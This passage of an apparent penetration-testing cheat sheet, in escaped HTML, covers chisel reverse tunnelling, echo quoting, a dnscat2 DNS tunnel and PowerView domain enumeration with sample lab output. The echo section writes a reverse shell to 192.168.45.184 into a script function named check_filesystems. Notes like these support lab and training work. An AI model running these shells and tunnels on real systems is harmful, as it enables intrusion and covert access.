1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Server listener (attacker machine)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Basic server syntax&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel server --reverse -p 8000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Client connection (target machine)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Basic connection&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel client ATTACKER_IP:8000 R:LOCAL_LISTEN_PORT:TARGET_IP:TARGET_PORT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Common command examples:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Reverse-proxy a single port&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel server --reverse -p 8000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Client&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel client ATTACKER_IP:8000 R:8001:TARGET_IP:TARGET_PORT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SOCKS proxy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel server --reverse -p 8000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Client&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel client ATTACKER_IP:8000 R:socks&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="86a-few-things-about-echo"&gt;&lt;a href="#86a-few-things-about-echo" class="header-anchor"&gt;&lt;/a&gt;86.A Few Things About echo&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Using double quotes with echo prevents #!/bin/bash from being written correctly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Single quotes work correctly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#39;#!/bin/bash&amp;#39; &amp;gt; 1.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;#!/bin/bash\n&amp;#34; &amp;gt; __fs.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Add -e when escape-sequence interpretation is required&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#39;#!/bin/bash&amp;#39; &amp;gt; __fs.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo -e &amp;#34;check_filesystems() {\nbash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.45.184/80 &amp;lt;&amp;amp;1&amp;#39;\n}&amp;#34; &amp;gt; __fs.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#39;#!/bin/bash&amp;#39; &amp;gt; 1.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo -e &amp;#34;check_filesystems() {\n\tbash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.45.184/80 &amp;lt;&amp;amp;1&amp;#39;\n}&amp;#34; &amp;gt;&amp;gt; 1.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="87dnscat-dns-tunnel"&gt;&lt;a href="#87dnscat-dns-tunnel" class="header-anchor"&gt;&lt;/a&gt;87.dnscat (DNS Tunnel)&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 1: On the Kali attacker machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start the dnscat2 server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnscat2-server feline.corp # feline.corp is a user-defined domain and can be named freely&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 2: On the target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Upload dnscat_exercise_client to the target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run the client and connect to the server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./dnscat_exercise_client feline.corp # Use the same domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The command above suits public networks; on internal networks, point DNS to the Kali machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# On the target machine:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use --dns to specify the server IP and port&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./dnscat --dns server=&amp;lt;KALI_IP&amp;gt;,port=53&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or use a more complete command:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./dnscat --dns server=&amp;lt;KALI_IP&amp;gt;,port=53 --secret=&amp;lt;SECRET_VALUE&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 3: Operate from the dnscat2 server on Kali&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View connection status&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnscat2&amp;gt; windows&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Switch to the session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnscat2&amp;gt; window -i 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Configure port forwarding&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;command (TARGET_HOSTNAME) 1&amp;gt; listen 0.0.0.0:4455 192.168.176.7:445&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="88detailed-enumeration-inside-a-windows-domain"&gt;&lt;a href="#88detailed-enumeration-inside-a-windows-domain" class="header-anchor"&gt;&lt;/a&gt;88.Detailed Enumeration Inside a Windows Domain&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;span class="lnt"&gt;51&#10;&lt;/span&gt;&lt;span class="lnt"&gt;52&#10;&lt;/span&gt;&lt;span class="lnt"&gt;53&#10;&lt;/span&gt;&lt;span class="lnt"&gt;54&#10;&lt;/span&gt;&lt;span class="lnt"&gt;55&#10;&lt;/span&gt;&lt;span class="lnt"&gt;56&#10;&lt;/span&gt;&lt;span class="lnt"&gt;57&#10;&lt;/span&gt;&lt;span class="lnt"&gt;58&#10;&lt;/span&gt;&lt;span class="lnt"&gt;59&#10;&lt;/span&gt;&lt;span class="lnt"&gt;60&#10;&lt;/span&gt;&lt;span class="lnt"&gt;61&#10;&lt;/span&gt;&lt;span class="lnt"&gt;62&#10;&lt;/span&gt;&lt;span class="lnt"&gt;63&#10;&lt;/span&gt;&lt;span class="lnt"&gt;64&#10;&lt;/span&gt;&lt;span class="lnt"&gt;65&#10;&lt;/span&gt;&lt;span class="lnt"&gt;66&#10;&lt;/span&gt;&lt;span class="lnt"&gt;67&#10;&lt;/span&gt;&lt;span class="lnt"&gt;68&#10;&lt;/span&gt;&lt;span class="lnt"&gt;69&#10;&lt;/span&gt;&lt;span class="lnt"&gt;70&#10;&lt;/span&gt;&lt;span class="lnt"&gt;71&#10;&lt;/span&gt;&lt;span class="lnt"&gt;72&#10;&lt;/span&gt;&lt;span class="lnt"&gt;73&#10;&lt;/span&gt;&lt;span class="lnt"&gt;74&#10;&lt;/span&gt;&lt;span class="lnt"&gt;75&#10;&lt;/span&gt;&lt;span class="lnt"&gt;76&#10;&lt;/span&gt;&lt;span class="lnt"&gt;77&#10;&lt;/span&gt;&lt;span class="lnt"&gt;78&#10;&lt;/span&gt;&lt;span class="lnt"&gt;79&#10;&lt;/span&gt;&lt;span class="lnt"&gt;80&#10;&lt;/span&gt;&lt;span class="lnt"&gt;81&#10;&lt;/span&gt;&lt;span class="lnt"&gt;82&#10;&lt;/span&gt;&lt;span class="lnt"&gt;83&#10;&lt;/span&gt;&lt;span class="lnt"&gt;84&#10;&lt;/span&gt;&lt;span class="lnt"&gt;85&#10;&lt;/span&gt;&lt;span class="lnt"&gt;86&#10;&lt;/span&gt;&lt;span class="lnt"&gt;87&#10;&lt;/span&gt;&lt;span class="lnt"&gt;88&#10;&lt;/span&gt;&lt;span class="lnt"&gt;89&#10;&lt;/span&gt;&lt;span class="lnt"&gt;90&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Local LDAP search&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PowerView&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Tutorial: https://powersploit.readthedocs.io/en/latest/Recon/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Import&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Basic domain information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetDomain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Forest : corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DomainControllers : {DC1.corp.com}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Children : {}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DomainMode : Unknown&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DomainModeLevel : 7&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Parent :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PdcRoleOwner : DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RidRoleOwner : DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;InfrastructureRoleOwner : DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name : corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Get-NetUser retrieves a list of all users in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;logoncount : 113&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iscriticalsystemobject : True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;description : Built-in account for administering the computer/domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;distinguishedname : CN=Administrator,CN=Users,DC=corp,DC=com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;objectclass : {top, person, organizationalPerson, user}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lastlogontimestamp : 9/13/2022 1:03:47 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;name : Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;objectsid : S-1-5-21-1987370270-658905905-1781884369-500&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;samaccountname : Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admincount : 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;codepage : 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;samaccounttype : USER_OBJECT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;accountexpires : NEVER&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cn : Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whenchanged : 9/13/2022 8:03:47 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;instancetype : 4&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;usncreated : 8196&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;objectguid : e5591000-080d-44c4-89c8-b06574a14d85&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lastlogoff : 12/31/1600 4:00:00 PM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dscorepropagationdata : {9/2/2022 11:25:58 PM, 9/2/2022 11:25:58 PM, 9/2/2022 11:10:49 PM, 1/1/1601 6:12:16 PM}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;memberof : {CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=com, CN=Domain Admins,CN=Users,DC=corp,DC=com, CN=Enterprise&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Admins,CN=Users,DC=corp,DC=com, CN=Schema Admins,CN=Users,DC=corp,DC=com...}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lastlogon : 9/14/2022 2:37:15 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The output shows that cn stores usernames; pipe the output to select and choose cn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetUser | select cn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Guest&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;krbtgt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dave&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stephanie&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jeff&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jeffadmin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iis_service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pete&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Retrieve other attributes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetUser | select cn,pwdlastset,lastlogon&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Similarly, use Get-NetGroup to enumerate groups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetGroup | select cn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Key Admins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enterprise Key Admins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DnsAdmins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DnsUpdateProxy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sales Department&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Management Department&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Development Department&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 